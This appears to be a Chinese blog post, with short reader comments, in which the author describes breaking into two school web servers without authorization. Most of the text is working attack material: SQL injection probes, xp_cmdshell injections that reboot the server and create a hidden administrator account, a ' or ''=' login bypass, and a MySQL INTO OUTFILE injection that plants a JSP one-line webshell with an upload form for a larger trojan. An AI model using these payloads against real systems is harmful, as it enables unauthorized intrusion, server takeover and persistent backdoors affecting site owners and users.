最近又干了点没用的
SQL入侵后拿到管理员权限的服务器
又一个
这两台服务器都是利用SQL注入进行入侵,一步步拿到管理员权限的(事实上有时候只需一两步)
先说配置差些的这台,这是我通过SQL注入第一次入侵成功的服务器。网站是个非常简单的CMS,用Asp.net和SQLServer实现,系统为Windows Server 2003,有多简单呢?简单到连SQL语句过滤都没有。CMS的显示文章页面URL为
http://example.com/main.aspx?forecast_id={文章ID}
第一步先试试有没有SQL注入漏洞
http://example.com/main.aspx?forecast_id={文章ID}' and '1'='1';--
http://example.com/main.aspx?forecast_id={文章ID}' and '1'='2';--
如果有,那么第一个URL会访问成功,第二个则会失败;否则都会失败。
这个CMS在安全方面实在太欠缺考虑,完全没有引号等危险字符的检查,于是显然是可以入侵的(即使网站做了较为简单的字符过滤,也是有可能被入侵,如使用转义字符等,在此不再赘述)
由于是第一次尝试SQL注入,再经历各种失败和弯路之后,我提交了这样的请求:
http://example.com/main.aspx?forecast_id={文章ID}';exec master.dbo.xp_cmdshell 'shutdown -r -t 0';--
不知道为什么我对重启命令情有独钟,上次入侵网站也是提交的重启,也是这是检测管理员权限最简单的方法吧。
如我所愿,服务器重启了。那么剩下的事就很轻易了
新建管理员账户:
http://example.com/main.aspx?forecast_id={文章ID}';exec master.dbo.xp_cmdshell 'net user {新管理员账号} {新管理员密码} /add';--
将账户添加至管理员组(否则只用普通用户权限):
http://example.com/main.aspx?forecast_id={文章ID}';exec master.dbo.xp_cmdshell 'net localgroup administrators {新管理员账号} /add';--
服务器开启了3389远程桌面,于是直接用新管理员账号登陆,成功。剩下的事我就不用说了吧(做好清理很重要)。
有了这次成功的入侵,我又把目标瞄向了另一个网站,由Tomcat和MySQL实现,系统却是Windows Server 2003。
这个网站我关注很久了,之前就通过提交
' or ''='
作为账户密码绕过了登录验证,不过由于管理员权限较低,没有什么有用的发现。这次改变思路,用别的办法拿权限。
由于MySQL并没有提供SQLServer的xp_cmdshell那样方便的“后门”,所以不能直接执行系统命令,但MySQL提供了将SELECT结果输出至文件的语句:
SELECT * INTO OUTFILE '{输出文件名}'
于是先在网站上找到一个编辑通知的提交框(需要网站管理员权限,不过之前说过我已经拿到了),修改其中的内容后保存,再使用OUTFILE输入只指定.jsp文件即可(需要预先知道网站文件的真实路径)
http://example2.com/main.jsp?id={通知ID}' into outfile 'd:/**/webshell.jsp' ) /*
这样就可以将提交框中的内容输出到指定文件中,那么我们应该输出点什么呢?最适合的是所谓的“一句话木马”:
<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>
原理很简单,将GET或者POST传来的参数进行处理,f为要写入的文件名(可以包含路径),t为要写入的内容。它起到过渡的作用,用于上传更大的木马。我们可以编写这样一个网页来提交大木马:
<form action="http://example2.com/**/webshell.jsp" method="post"><input type="text" name="f" />
<input type="submit" />
</form>
因为要上传的木马可能会比较大,所以要是用POST方法进行提交。
这样,我们就可以拿到网站的WebShell,由于Windows下安装Tomcat等Linux惯用的服务器权限没有默认支持,很容易忽略权控制,这个网站就是用的管理员权限运行的Tomcat,所以通过调用cmd进行建立管理员等操作。剩下的,我也就不用再重复了。
学校的网站普遍缺少足够的安全意识,漏洞随处可见,这两个只是作为练手而已,并没有对服务器进行任何破坏性行为。
最后发一张那台配置较差的服务器的截图,上面竟然跑了11个网站,其中一个还是有3000多用户可能在同一天访问的大站。1G物理内存被用光还用了500多M虚拟内存,能跑起来真不容易。而另外那个8核16线程16G内存竟然只跑了个两三个几乎没人访问的小站,真不知道网管们是怎么想的。
膜拜基友大神犇
来瞻仰。。。
欢迎常来我博客逛哈~~
貌似现在’ or ”=’可以绕过的网站不多见了
其实还是很多的,不论大网站还是小网站都有,建议去乌云(www.wooyun.org)看看,遍地是漏洞。